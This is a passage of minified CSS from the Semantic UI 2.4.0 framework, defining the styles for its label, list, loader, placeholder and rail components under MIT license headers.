a.label:hover,a.ui.basic.black.label:hover{background-color:#fff!important;color:#27292a!important;border-color:#27292a!important}.ui.basic.label{background:none #fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);-webkit-box-shadow:none;box-shadow:none}a.ui.basic.label:hover{text-decoration:none;background:none #fff;color:#1e70bf;-webkit-box-shadow:1px solid rgba(34,36,38,.15);box-shadow:1px solid rgba(34,36,38,.15);-webkit-box-shadow:none;box-shadow:none}.ui.basic.pointing.label:before{border-color:inherit}.ui.fluid.labels>.label,.ui.label.fluid{width:100%;-webkit-box-sizing:border-box;box-sizing:border-box}.ui.inverted.label,.ui.inverted.labels .label{color:rgba(255,255,255,.9)!important}.ui.horizontal.label,.ui.horizontal.labels .label{margin:0 .5em 0 0;padding:.4em .833em;min-width:3em;text-align:center}.ui.circular.label,.ui.circular.labels .label{min-width:2em;min-height:2em;padding:.5em!important;line-height:1em;text-align:center;border-radius:500rem}.ui.empty.circular.label,.ui.empty.circular.labels .label{min-width:0;min-height:0;overflow:hidden;width:.5em;height:.5em;vertical-align:baseline}.ui.pointing.label{position:relative}.ui.attached.pointing.label{position:absolute}.ui.pointing.label:before{background-color:inherit;background-image:inherit;border-width:none;border-style:solid;border-color:inherit}.ui.pointing.label:before{position:absolute;content:'';-webkit-transform:rotate(45deg);transform:rotate(45deg);background-image:none;z-index:2;width:.6666em;height:.6666em;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.pointing.label,.ui[class*="pointing above"].label{margin-top:1em}.ui.pointing.label:before,.ui[class*="pointing above"].label:before{border-width:1px 0 0 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:0;left:50%}.ui[class*="bottom pointing"].label,.ui[class*="pointing below"].label{margin-top:0;margin-bottom:1em}.ui[class*="bottom pointing"].label:before,.ui[class*="pointing below"].label:before{border-width:0 1px 1px 0;top:auto;right:auto;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:100%;left:50%}.ui[class*="left pointing"].label{margin-top:0;margin-left:.6666em}.ui[class*="left pointing"].label:before{border-width:0 0 1px 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);bottom:auto;right:auto;top:50%;left:0}.ui[class*="right pointing"].label{margin-top:0;margin-right:.6666em}.ui[class*="right pointing"].label:before{border-width:1px 1px 0 0;-webkit-transform:translateX(50%) translateY(-50%) rotate(45deg);transform:translateX(50%) translateY(-50%) rotate(45deg);top:50%;right:0;bottom:auto;left:auto}.ui.basic.pointing.label:before,.ui.basic[class*="pointing above"].label:before{margin-top:-1px}.ui.basic[class*="bottom pointing"].label:before,.ui.basic[class*="pointing below"].label:before{bottom:auto;top:100%;margin-top:1px}.ui.basic[class*="left pointing"].label:before{top:50%;left:-1px}.ui.basic[class*="right pointing"].label:before{top:50%;right:-1px}.ui.floating.label{position:absolute;z-index:100;top:-1em;left:100%;margin:0 0 0 -1.5em!important}.ui.mini.label,.ui.mini.labels .label{font-size:.64285714rem}.ui.tiny.label,.ui.tiny.labels .label{font-size:.71428571rem}.ui.small.label,.ui.small.labels .label{font-size:.78571429rem}.ui.label,.ui.labels .label{font-size:.85714286rem}.ui.large.label,.ui.large.labels .label{font-size:1rem}.ui.big.label,.ui.big.labels .label{font-size:1.28571429rem}.ui.huge.label,.ui.huge.labels .label{font-size:1.42857143rem}.ui.massive.label,.ui.massive.labels .label{font-size:1.71428571rem}/*! + * # Semantic UI 2.4.0 - List + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.list,ol.ui.list,ul.ui.list{list-style-type:none;margin:1em 0;padding:0 0}.ui.list:first-child,ol.ui.list:first-child,ul.ui.list:first-child{margin-top:0;padding-top:0}.ui.list:last-child,ol.ui.list:last-child,ul.ui.list:last-child{margin-bottom:0;padding-bottom:0}.ui.list .list>.item,.ui.list>.item,ol.ui.list li,ul.ui.list li{display:list-item;table-layout:fixed;list-style-type:none;list-style-position:outside;padding:.21428571em 0;line-height:1.14285714em}.ui.list>.item:after,.ui.list>.list>.item,ol.ui.list>li:first-child:after,ul.ui.list>li:first-child:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.list .list>.item:first-child,.ui.list>.item:first-child,ol.ui.list li:first-child,ul.ui.list li:first-child{padding-top:0}.ui.list .list>.item:last-child,.ui.list>.item:last-child,ol.ui.list li:last-child,ul.ui.list li:last-child{padding-bottom:0}.ui.list .list,ol.ui.list ol,ul.ui.list ul{clear:both;margin:0;padding:.75em 0 .25em .5em}.ui.list .list>.item,ol.ui.list ol li,ul.ui.list ul li{padding:.14285714em 0;line-height:inherit}.ui.list .list>.item>i.icon,.ui.list>.item>i.icon{display:table-cell;margin:0;padding-top:0;padding-right:.28571429em;vertical-align:top;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.list .list>.item>i.icon:only-child,.ui.list>.item>i.icon:only-child{display:inline-block;vertical-align:top}.ui.list .list>.item>.image,.ui.list>.item>.image{display:table-cell;background-color:transparent;margin:0;vertical-align:top}.ui.list .list>.item>.image:not(:only-child):not(img),.ui.list>.item>.image:not(:only-child):not(img){padding-right:.5em}.ui.list .list>.item>.image img,.ui.list>.item>.image img{vertical-align:top}.ui.list .list>.item>.image:only-child,.ui.list .list>.item>img.image,.ui.list>.item>.image:only-child,.ui.list>.item>img.image{display:inline-block}.ui.list .list>.item>.content,.ui.list>.item>.content{line-height:1.14285714em}.ui.list .list>.item>.icon+.content,.ui.list .list>.item>.image+.content,.ui.list>.item>.icon+.content,.ui.list>.item>.image+.content{display:table-cell;width:100%;padding:0 0 0 .5em;vertical-align:top}.ui.list .list>.item>img.image+.content,.ui.list>.item>img.image+.content{display:inline-block;width:auto}.ui.list .list>.item>.content>.list,.ui.list>.item>.content>.list{margin-left:0;padding-left:0}.ui.list .list>.item .header,.ui.list>.item .header{display:block;margin:0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;color:rgba(0,0,0,.87)}.ui.list .list>.item .description,.ui.list>.item .description{display:block;color:rgba(0,0,0,.7)}.ui.list .list>.item a,.ui.list>.item a{cursor:pointer}.ui.list .list>a.item,.ui.list>a.item{cursor:pointer;color:#4183c4}.ui.list .list>a.item:hover,.ui.list>a.item:hover{color:#1e70bf}.ui.list .list>a.item i.icon,.ui.list>a.item i.icon{color:rgba(0,0,0,.4)}.ui.list .list>.item a.header,.ui.list>.item a.header{cursor:pointer;color:#4183c4!important}.ui.list .list>.item a.header:hover,.ui.list>.item a.header:hover{color:#1e70bf!important}.ui[class*="left floated"].list{float:left}.ui[class*="right floated"].list{float:right}.ui.list .list>.item [class*="left floated"],.ui.list>.item [class*="left floated"]{float:left;margin:0 1em 0 0}.ui.list .list>.item [class*="right floated"],.ui.list>.item [class*="right floated"]{float:right;margin:0 0 0 1em}.ui.menu .ui.list .list>.item,.ui.menu .ui.list>.item{display:list-item;table-layout:fixed;background-color:transparent;list-style-type:none;list-style-position:outside;padding:.21428571em 0;line-height:1.14285714em}.ui.menu .ui.list .list>.item:before,.ui.menu .ui.list>.item:before{border:none;background:0 0}.ui.menu .ui.list .list>.item:first-child,.ui.menu .ui.list>.item:first-child{padding-top:0}.ui.menu .ui.list .list>.item:last-child,.ui.menu .ui.list>.item:last-child{padding-bottom:0}.ui.horizontal.list{display:inline-block;font-size:0}.ui.horizontal.list>.item{display:inline-block;margin-left:1em;font-size:1rem}.ui.horizontal.list:not(.celled)>.item:first-child{margin-left:0!important;padding-left:0!important}.ui.horizontal.list .list{padding-left:0;padding-bottom:0}.ui.horizontal.list .list>.item>.content,.ui.horizontal.list .list>.item>.icon,.ui.horizontal.list .list>.item>.image,.ui.horizontal.list>.item>.content,.ui.horizontal.list>.item>.icon,.ui.horizontal.list>.item>.image{vertical-align:middle}.ui.horizontal.list>.item:first-child,.ui.horizontal.list>.item:last-child{padding-top:.21428571em;padding-bottom:.21428571em}.ui.horizontal.list>.item>i.icon{margin:0;padding:0 .25em 0 0}.ui.horizontal.list>.item>.icon,.ui.horizontal.list>.item>.icon+.content{float:none;display:inline-block}.ui.list .list>.disabled.item,.ui.list>.disabled.item{pointer-events:none;color:rgba(40,40,40,.3)!important}.ui.inverted.list .list>.disabled.item,.ui.inverted.list>.disabled.item{color:rgba(225,225,225,.3)!important}.ui.list .list>a.item:hover .icon,.ui.list>a.item:hover .icon{color:rgba(0,0,0,.87)}.ui.inverted.list .list>a.item>.icon,.ui.inverted.list>a.item>.icon{color:rgba(255,255,255,.7)}.ui.inverted.list .list>.item .header,.ui.inverted.list>.item .header{color:rgba(255,255,255,.9)}.ui.inverted.list .list>.item .description,.ui.inverted.list>.item .description{color:rgba(255,255,255,.7)}.ui.inverted.list .list>a.item,.ui.inverted.list>a.item{cursor:pointer;color:rgba(255,255,255,.9)}.ui.inverted.list .list>a.item:hover,.ui.inverted.list>a.item:hover{color:#1e70bf}.ui.inverted.list .item a:not(.ui){color:rgba(255,255,255,.9)!important}.ui.inverted.list .item a:not(.ui):hover{color:#1e70bf!important}.ui.list [class*="top aligned"],.ui.list[class*="top aligned"] .content,.ui.list[class*="top aligned"] .image{vertical-align:top!important}.ui.list [class*="middle aligned"],.ui.list[class*="middle aligned"] .content,.ui.list[class*="middle aligned"] .image{vertical-align:middle!important}.ui.list [class*="bottom aligned"],.ui.list[class*="bottom aligned"] .content,.ui.list[class*="bottom aligned"] .image{vertical-align:bottom!important}.ui.link.list .item,.ui.link.list .item a:not(.ui),.ui.link.list a.item{color:rgba(0,0,0,.4);-webkit-transition:.1s color ease;transition:.1s color ease}.ui.link.list.list .item a:not(.ui):hover,.ui.link.list.list a.item:hover{color:rgba(0,0,0,.8)}.ui.link.list.list .item a:not(.ui):active,.ui.link.list.list a.item:active{color:rgba(0,0,0,.9)}.ui.link.list.list .active.item,.ui.link.list.list .active.item a:not(.ui){color:rgba(0,0,0,.95)}.ui.inverted.link.list .item,.ui.inverted.link.list .item a:not(.ui),.ui.inverted.link.list a.item{color:rgba(255,255,255,.5)}.ui.inverted.link.list.list .item a:not(.ui):hover,.ui.inverted.link.list.list a.item:hover{color:#fff}.ui.inverted.link.list.list .item a:not(.ui):active,.ui.inverted.link.list.list a.item:active{color:#fff}.ui.inverted.link.list.list .active.item a:not(.ui),.ui.inverted.link.list.list a.active.item{color:#fff}.ui.selection.list .list>.item,.ui.selection.list>.item{cursor:pointer;background:0 0;padding:.5em .5em;margin:0;color:rgba(0,0,0,.4);border-radius:.5em;-webkit-transition:.1s color ease,.1s padding-left ease,.1s background-color ease;transition:.1s color ease,.1s padding-left ease,.1s background-color ease}.ui.selection.list .list>.item:last-child,.ui.selection.list>.item:last-child{margin-bottom:0}.ui.selection.list.list>.item:hover,.ui.selection.list>.item:hover{background:rgba(0,0,0,.03);color:rgba(0,0,0,.8)}.ui.selection.list .list>.item:active,.ui.selection.list>.item:active{background:rgba(0,0,0,.05);color:rgba(0,0,0,.9)}.ui.selection.list .list>.item.active,.ui.selection.list>.item.active{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.inverted.selection.list>.item{background:0 0;color:rgba(255,255,255,.5)}.ui.inverted.selection.list>.item:hover{background:rgba(255,255,255,.02);color:#fff}.ui.inverted.selection.list>.item:active{background:rgba(255,255,255,.08);color:#fff}.ui.inverted.selection.list>.item.active{background:rgba(255,255,255,.08);color:#fff}.ui.celled.selection.list .list>.item,.ui.celled.selection.list>.item,.ui.divided.selection.list .list>.item,.ui.divided.selection.list>.item{border-radius:0}.ui.animated.list>.item{-webkit-transition:.25s color ease .1s,.25s padding-left ease .1s,.25s background-color ease .1s;transition:.25s color ease .1s,.25s padding-left ease .1s,.25s background-color ease .1s}.ui.animated.list:not(.horizontal)>.item:hover{padding-left:1em}.ui.fitted.list:not(.selection) .list>.item,.ui.fitted.list:not(.selection)>.item{padding-left:0;padding-right:0}.ui.fitted.selection.list .list>.item,.ui.fitted.selection.list>.item{margin-left:-.5em;margin-right:-.5em}.ui.bulleted.list,ul.ui.list{margin-left:1.25rem}.ui.bulleted.list .list>.item,.ui.bulleted.list>.item,ul.ui.list li{position:relative}.ui.bulleted.list .list>.item:before,.ui.bulleted.list>.item:before,ul.ui.list li:before{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none;position:absolute;top:auto;left:auto;font-weight:400;margin-left:-1.25rem;content:'•';opacity:1;color:inherit;vertical-align:top}.ui.bulleted.list .list>a.item:before,.ui.bulleted.list>a.item:before,ul.ui.list li:before{color:rgba(0,0,0,.87)}.ui.bulleted.list .list,ul.ui.list ul{padding-left:1.25rem}.ui.horizontal.bulleted.list,ul.ui.horizontal.bulleted.list{margin-left:0}.ui.horizontal.bulleted.list>.item,ul.ui.horizontal.bulleted.list li{margin-left:1.75rem}.ui.horizontal.bulleted.list>.item:first-child,ul.ui.horizontal.bulleted.list li:first-child{margin-left:0}.ui.horizontal.bulleted.list>.item::before,ul.ui.horizontal.bulleted.list li::before{color:rgba(0,0,0,.87)}.ui.horizontal.bulleted.list>.item:first-child::before,ul.ui.horizontal.bulleted.list li:first-child::before{display:none}.ui.ordered.list,.ui.ordered.list .list,ol.ui.list,ol.ui.list ol{counter-reset:ordered;margin-left:1.25rem;list-style-type:none}.ui.ordered.list .list>.item,.ui.ordered.list>.item,ol.ui.list li{list-style-type:none;position:relative}.ui.ordered.list .list>.item:before,.ui.ordered.list>.item:before,ol.ui.list li:before{position:absolute;top:auto;left:auto;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none;margin-left:-1.25rem;counter-increment:ordered;content:counters(ordered, ".") " ";text-align:right;color:rgba(0,0,0,.87);vertical-align:middle;opacity:.8}.ui.ordered.inverted.list .list>.item:before,.ui.ordered.inverted.list>.item:before,ol.ui.inverted.list li:before{color:rgba(255,255,255,.7)}.ui.ordered.list>.item[data-value],.ui.ordered.list>.list>.item[data-value]{content:attr(data-value)}ol.ui.list li[value]:before{content:attr(value)}.ui.ordered.list .list,ol.ui.list ol{margin-left:1em}.ui.ordered.list .list>.item:before,ol.ui.list ol li:before{margin-left:-2em}.ui.ordered.horizontal.list,ol.ui.horizontal.list{margin-left:0}.ui.ordered.horizontal.list .list>.item:before,.ui.ordered.horizontal.list>.item:before,ol.ui.horizontal.list li:before{position:static;margin:0 .5em 0 0}.ui.divided.list>.item{border-top:1px solid rgba(34,36,38,.15)}.ui.divided.list .list>.item{border-top:none}.ui.divided.list .item .list>.item{border-top:none}.ui.divided.list .list>.item:first-child,.ui.divided.list>.item:first-child{border-top:none}.ui.divided.list:not(.horizontal) .list>.item:first-child{border-top-width:1px}.ui.divided.bulleted.list .list,.ui.divided.bulleted.list:not(.horizontal){margin-left:0;padding-left:0}.ui.divided.bulleted.list>.item:not(.horizontal){padding-left:1.25rem}.ui.divided.ordered.list{margin-left:0}.ui.divided.ordered.list .list>.item,.ui.divided.ordered.list>.item{padding-left:1.25rem}.ui.divided.ordered.list .item .list{margin-left:0;margin-right:0;padding-bottom:.21428571em}.ui.divided.ordered.list .item .list>.item{padding-left:1em}.ui.divided.selection.list .list>.item,.ui.divided.selection.list>.item{margin:0;border-radius:0}.ui.divided.horizontal.list{margin-left:0}.ui.divided.horizontal.list>.item:not(:first-child){padding-left:.5em}.ui.divided.horizontal.list>.item:not(:last-child){padding-right:.5em}.ui.divided.horizontal.list>.item{border-top:none;border-left:1px solid rgba(34,36,38,.15);margin:0;line-height:.6}.ui.horizontal.divided.list>.item:first-child{border-left:none}.ui.divided.inverted.horizontal.list>.item,.ui.divided.inverted.list>.item,.ui.divided.inverted.list>.list{border-color:rgba(255,255,255,.1)}.ui.celled.list>.item,.ui.celled.list>.list{border-top:1px solid rgba(34,36,38,.15);padding-left:.5em;padding-right:.5em}.ui.celled.list>.item:last-child{border-bottom:1px solid rgba(34,36,38,.15)}.ui.celled.list>.item:first-child,.ui.celled.list>.item:last-child{padding-top:.21428571em;padding-bottom:.21428571em}.ui.celled.list .item .list>.item{border-width:0}.ui.celled.list .list>.item:first-child{border-top-width:0}.ui.celled.bulleted.list{margin-left:0}.ui.celled.bulleted.list .list>.item,.ui.celled.bulleted.list>.item{padding-left:1.25rem}.ui.celled.bulleted.list .item .list{margin-left:-1.25rem;margin-right:-1.25rem;padding-bottom:.21428571em}.ui.celled.ordered.list{margin-left:0}.ui.celled.ordered.list .list>.item,.ui.celled.ordered.list>.item{padding-left:1.25rem}.ui.celled.ordered.list .item .list{margin-left:0;margin-right:0;padding-bottom:.21428571em}.ui.celled.ordered.list .list>.item{padding-left:1em}.ui.horizontal.celled.list{margin-left:0}.ui.horizontal.celled.list .list>.item,.ui.horizontal.celled.list>.item{border-top:none;border-left:1px solid rgba(34,36,38,.15);margin:0;padding-left:.5em;padding-right:.5em;line-height:.6}.ui.horizontal.celled.list .list>.item:last-child,.ui.horizontal.celled.list>.item:last-child{border-bottom:none;border-right:1px solid rgba(34,36,38,.15)}.ui.celled.inverted.list>.item,.ui.celled.inverted.list>.list{border-color:1px solid rgba(255,255,255,.1)}.ui.celled.inverted.horizontal.list .list>.item,.ui.celled.inverted.horizontal.list>.item{border-color:1px solid rgba(255,255,255,.1)}.ui.relaxed.list:not(.horizontal)>.item:not(:first-child){padding-top:.42857143em}.ui.relaxed.list:not(.horizontal)>.item:not(:last-child){padding-bottom:.42857143em}.ui.horizontal.relaxed.list .list>.item:not(:first-child),.ui.horizontal.relaxed.list>.item:not(:first-child){padding-left:1rem}.ui.horizontal.relaxed.list .list>.item:not(:last-child),.ui.horizontal.relaxed.list>.item:not(:last-child){padding-right:1rem}.ui[class*="very relaxed"].list:not(.horizontal)>.item:not(:first-child){padding-top:.85714286em}.ui[class*="very relaxed"].list:not(.horizontal)>.item:not(:last-child){padding-bottom:.85714286em}.ui.horizontal[class*="very relaxed"].list .list>.item:not(:first-child),.ui.horizontal[class*="very relaxed"].list>.item:not(:first-child){padding-left:1.5rem}.ui.horizontal[class*="very relaxed"].list .list>.item:not(:last-child),.ui.horizontal[class*="very relaxed"].list>.item:not(:last-child){padding-right:1.5rem}.ui.mini.list{font-size:.78571429em}.ui.tiny.list{font-size:.85714286em}.ui.small.list{font-size:.92857143em}.ui.list{font-size:1em}.ui.large.list{font-size:1.14285714em}.ui.big.list{font-size:1.28571429em}.ui.huge.list{font-size:1.42857143em}.ui.massive.list{font-size:1.71428571em}.ui.mini.horizontal.list .list>.item,.ui.mini.horizontal.list>.item{font-size:.78571429rem}.ui.tiny.horizontal.list .list>.item,.ui.tiny.horizontal.list>.item{font-size:.85714286rem}.ui.small.horizontal.list .list>.item,.ui.small.horizontal.list>.item{font-size:.92857143rem}.ui.horizontal.list .list>.item,.ui.horizontal.list>.item{font-size:1rem}.ui.large.horizontal.list .list>.item,.ui.large.horizontal.list>.item{font-size:1.14285714rem}.ui.big.horizontal.list .list>.item,.ui.big.horizontal.list>.item{font-size:1.28571429rem}.ui.huge.horizontal.list .list>.item,.ui.huge.horizontal.list>.item{font-size:1.42857143rem}.ui.massive.horizontal.list .list>.item,.ui.massive.horizontal.list>.item{font-size:1.71428571rem}/*! + * # Semantic UI 2.4.0 - Loader + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.loader{display:none;position:absolute;top:50%;left:50%;margin:0;text-align:center;z-index:1000;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.ui.loader:before{position:absolute;content:'';top:0;left:50%;width:100%;height:100%;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loader:after{position:absolute;content:'';top:0;left:50%;width:100%;height:100%;-webkit-animation:loader .6s linear;animation:loader .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent}@-webkit-keyframes loader{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes loader{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.mini.loader:after,.ui.mini.loader:before{width:1rem;height:1rem;margin:0 0 0 -.5rem}.ui.tiny.loader:after,.ui.tiny.loader:before{width:1.14285714rem;height:1.14285714rem;margin:0 0 0 -.57142857rem}.ui.small.loader:after,.ui.small.loader:before{width:1.71428571rem;height:1.71428571rem;margin:0 0 0 -.85714286rem}.ui.loader:after,.ui.loader:before{width:2.28571429rem;height:2.28571429rem;margin:0 0 0 -1.14285714rem}.ui.large.loader:after,.ui.large.loader:before{width:3.42857143rem;height:3.42857143rem;margin:0 0 0 -1.71428571rem}.ui.big.loader:after,.ui.big.loader:before{width:3.71428571rem;height:3.71428571rem;margin:0 0 0 -1.85714286rem}.ui.huge.loader:after,.ui.huge.loader:before{width:4.14285714rem;height:4.14285714rem;margin:0 0 0 -2.07142857rem}.ui.massive.loader:after,.ui.massive.loader:before{width:4.57142857rem;height:4.57142857rem;margin:0 0 0 -2.28571429rem}.ui.dimmer .loader{display:block}.ui.dimmer .ui.loader{color:rgba(255,255,255,.9)}.ui.dimmer .ui.loader:before{border-color:rgba(255,255,255,.15)}.ui.dimmer .ui.loader:after{border-color:#fff transparent transparent}.ui.inverted.dimmer .ui.loader{color:rgba(0,0,0,.87)}.ui.inverted.dimmer .ui.loader:before{border-color:rgba(0,0,0,.1)}.ui.inverted.dimmer .ui.loader:after{border-color:#767676 transparent transparent}.ui.text.loader{width:auto!important;height:auto!important;text-align:center;font-style:normal}.ui.indeterminate.loader:after{animation-direction:reverse;-webkit-animation-duration:1.2s;animation-duration:1.2s}.ui.loader.active,.ui.loader.visible{display:block}.ui.loader.disabled,.ui.loader.hidden{display:none}.ui.inverted.dimmer .ui.mini.loader,.ui.mini.loader{width:1rem;height:1rem;font-size:.78571429em}.ui.inverted.dimmer .ui.tiny.loader,.ui.tiny.loader{width:1.14285714rem;height:1.14285714rem;font-size:.85714286em}.ui.inverted.dimmer .ui.small.loader,.ui.small.loader{width:1.71428571rem;height:1.71428571rem;font-size:.92857143em}.ui.inverted.dimmer .ui.loader,.ui.loader{width:2.28571429rem;height:2.28571429rem;font-size:1em}.ui.inverted.dimmer .ui.large.loader,.ui.large.loader{width:3.42857143rem;height:3.42857143rem;font-size:1.14285714em}.ui.big.loader,.ui.inverted.dimmer .ui.big.loader{width:3.71428571rem;height:3.71428571rem;font-size:1.28571429em}.ui.huge.loader,.ui.inverted.dimmer .ui.huge.loader{width:4.14285714rem;height:4.14285714rem;font-size:1.42857143em}.ui.inverted.dimmer .ui.massive.loader,.ui.massive.loader{width:4.57142857rem;height:4.57142857rem;font-size:1.71428571em}.ui.mini.text.loader{min-width:1rem;padding-top:1.78571429rem}.ui.tiny.text.loader{min-width:1.14285714rem;padding-top:1.92857143rem}.ui.small.text.loader{min-width:1.71428571rem;padding-top:2.5rem}.ui.text.loader{min-width:2.28571429rem;padding-top:3.07142857rem}.ui.large.text.loader{min-width:3.42857143rem;padding-top:4.21428571rem}.ui.big.text.loader{min-width:3.71428571rem;padding-top:4.5rem}.ui.huge.text.loader{min-width:4.14285714rem;padding-top:4.92857143rem}.ui.massive.text.loader{min-width:4.57142857rem;padding-top:5.35714286rem}.ui.inverted.loader{color:rgba(255,255,255,.9)}.ui.inverted.loader:before{border-color:rgba(255,255,255,.15)}.ui.inverted.loader:after{border-top-color:#fff}.ui.inline.loader{position:relative;vertical-align:middle;margin:0;left:0;top:0;-webkit-transform:none;transform:none}.ui.inline.loader.active,.ui.inline.loader.visible{display:inline-block}.ui.centered.inline.loader.active,.ui.centered.inline.loader.visible{display:block;margin-left:auto;margin-right:auto}/*! + * # Semantic UI 2.4.0 - Loader + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.placeholder{position:static;overflow:hidden;-webkit-animation:placeholderShimmer 2s linear;animation:placeholderShimmer 2s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;background-color:#fff;background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.08)),color-stop(15%,rgba(0,0,0,.15)),color-stop(30%,rgba(0,0,0,.08)));background-image:-webkit-linear-gradient(left,rgba(0,0,0,.08) 0,rgba(0,0,0,.15) 15%,rgba(0,0,0,.08) 30%);background-image:linear-gradient(to right,rgba(0,0,0,.08) 0,rgba(0,0,0,.15) 15%,rgba(0,0,0,.08) 30%);background-size:1200px 100%;max-width:30rem}@-webkit-keyframes placeholderShimmer{0%{background-position:-1200px 0}100%{background-position:1200px 0}}@keyframes placeholderShimmer{0%{background-position:-1200px 0}100%{background-position:1200px 0}}.ui.placeholder+.ui.placeholder{margin-top:2rem}.ui.placeholder+.ui.placeholder{-webkit-animation-delay:.15s;animation-delay:.15s}.ui.placeholder+.ui.placeholder+.ui.placeholder{-webkit-animation-delay:.3s;animation-delay:.3s}.ui.placeholder+.ui.placeholder+.ui.placeholder+.ui.placeholder{-webkit-animation-delay:.45s;animation-delay:.45s}.ui.placeholder+.ui.placeholder+.ui.placeholder+.ui.placeholder+.ui.placeholder{-webkit-animation-delay:.6s;animation-delay:.6s}.ui.placeholder,.ui.placeholder .image.header:after,.ui.placeholder .line,.ui.placeholder .line:after,.ui.placeholder>:before{background-color:#fff}.ui.placeholder .image:not(.header):not(.ui){height:100px}.ui.placeholder .square.image:not(.header){height:0;overflow:hidden;padding-top:100%}.ui.placeholder .rectangular.image:not(.header){height:0;overflow:hidden;padding-top:75%}.ui.placeholder .line{position:relative;height:.85714286em}.ui.placeholder .line:after,.ui.placeholder .line:before{top:100%;position:absolute;content:'';background-color:inherit}.ui.placeholder .line:before{left:0}.ui.placeholder .line:after{right:0}.ui.placeholder .line{margin-bottom:.5em}.ui.placeholder .line:after,.ui.placeholder .line:before{height:.5em}.ui.placeholder .line:not(:first-child){margin-top:.5em}.ui.placeholder .header{position:relative;overflow:hidden}.ui.placeholder .line:nth-child(1):after{width:0%}.ui.placeholder .line:nth-child(2):after{width:50%}.ui.placeholder .line:nth-child(3):after{width:10%}.ui.placeholder .line:nth-child(4):after{width:35%}.ui.placeholder .line:nth-child(5):after{width:65%}.ui.placeholder .header .line{margin-bottom:.64285714em}.ui.placeholder .header .line:after,.ui.placeholder .header .line:before{height:.64285714em}.ui.placeholder .header .line:not(:first-child){margin-top:.64285714em}.ui.placeholder .header .line:after{width:20%}.ui.placeholder .header .line:nth-child(2):after{width:60%}.ui.placeholder .image.header .line{margin-left:3em}.ui.placeholder .image.header .line:before{width:.71428571rem}.ui.placeholder .image.header:after{display:block;height:.85714286em;content:'';margin-left:3em}.ui.placeholder .header .line:first-child,.ui.placeholder .image .line:first-child,.ui.placeholder .paragraph .line:first-child{height:.01px}.ui.placeholder .header:not(:first-child):before,.ui.placeholder .image:not(:first-child):before,.ui.placeholder .paragraph:not(:first-child):before{height:1.42857143em;content:'';display:block}.ui.inverted.placeholder{background-image:-webkit-gradient(linear,left top,right top,from(rgba(255,255,255,.08)),color-stop(15%,rgba(255,255,255,.14)),color-stop(30%,rgba(255,255,255,.08)));background-image:-webkit-linear-gradient(left,rgba(255,255,255,.08) 0,rgba(255,255,255,.14) 15%,rgba(255,255,255,.08) 30%);background-image:linear-gradient(to right,rgba(255,255,255,.08) 0,rgba(255,255,255,.14) 15%,rgba(255,255,255,.08) 30%)}.ui.inverted.placeholder,.ui.inverted.placeholder .image.header:after,.ui.inverted.placeholder .line,.ui.inverted.placeholder .line:after,.ui.inverted.placeholder>:before{background-color:#1b1c1d}.ui.placeholder .full.line.line.line:after{width:0%}.ui.placeholder .very.long.line.line.line:after{width:10%}.ui.placeholder .long.line.line.line:after{width:35%}.ui.placeholder .medium.line.line.line:after{width:50%}.ui.placeholder .short.line.line.line:after{width:65%}.ui.placeholder .very.short.line.line.line:after{width:80%}.ui.fluid.placeholder{max-width:none}/*! + * # Semantic UI 2.4.0 - Rail + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.rail{position:absolute;top:0;width:300px;height:100%}.ui.left.rail{left:auto;right:100%;padding:0 2rem 0 0;margin:0 2rem 0 0}.ui.right.rail{left:100%;right:auto;padding:0 0 0 2rem;margin:0 0 0 2rem}.ui.left.internal.rail{left:0;right:auto;padding:0 0 0 2rem;margin:0 0 0 2rem}.ui.right.internal.rail{left:auto;right:0;padding:0 2rem 0 0;margin:0 2rem 0 0}.ui.dividing.rail{width:302.5px}.ui.left.dividing.rail{padding:0 2.5rem 0 0;margin:0 2.5rem 0 0;border-right:1px solid rgba(34,36,38,.15)}.ui.right.dividing.rail{border-left:1px solid rgba(34,36,38,.15);padding:0 0 0 2.5rem;margin:0 0 0 2.5rem}.ui.close.rail{width:calc(300px + 1em)}.ui.close.left.rail{padding:0 1em 0 0;margin:0 1em 0 0}.ui.close.right.rail{padding:0 0 0 1em;margin:0 0 0 1em}.ui.very.close.rail{width:calc(300px + .5em)}.ui.very.close.left.rail{padding:0 .5em 0 0;margin:0 .5em 0 0}.ui.very.close.right.rail{padding:0 0 0 .5em;margin:0 0 0 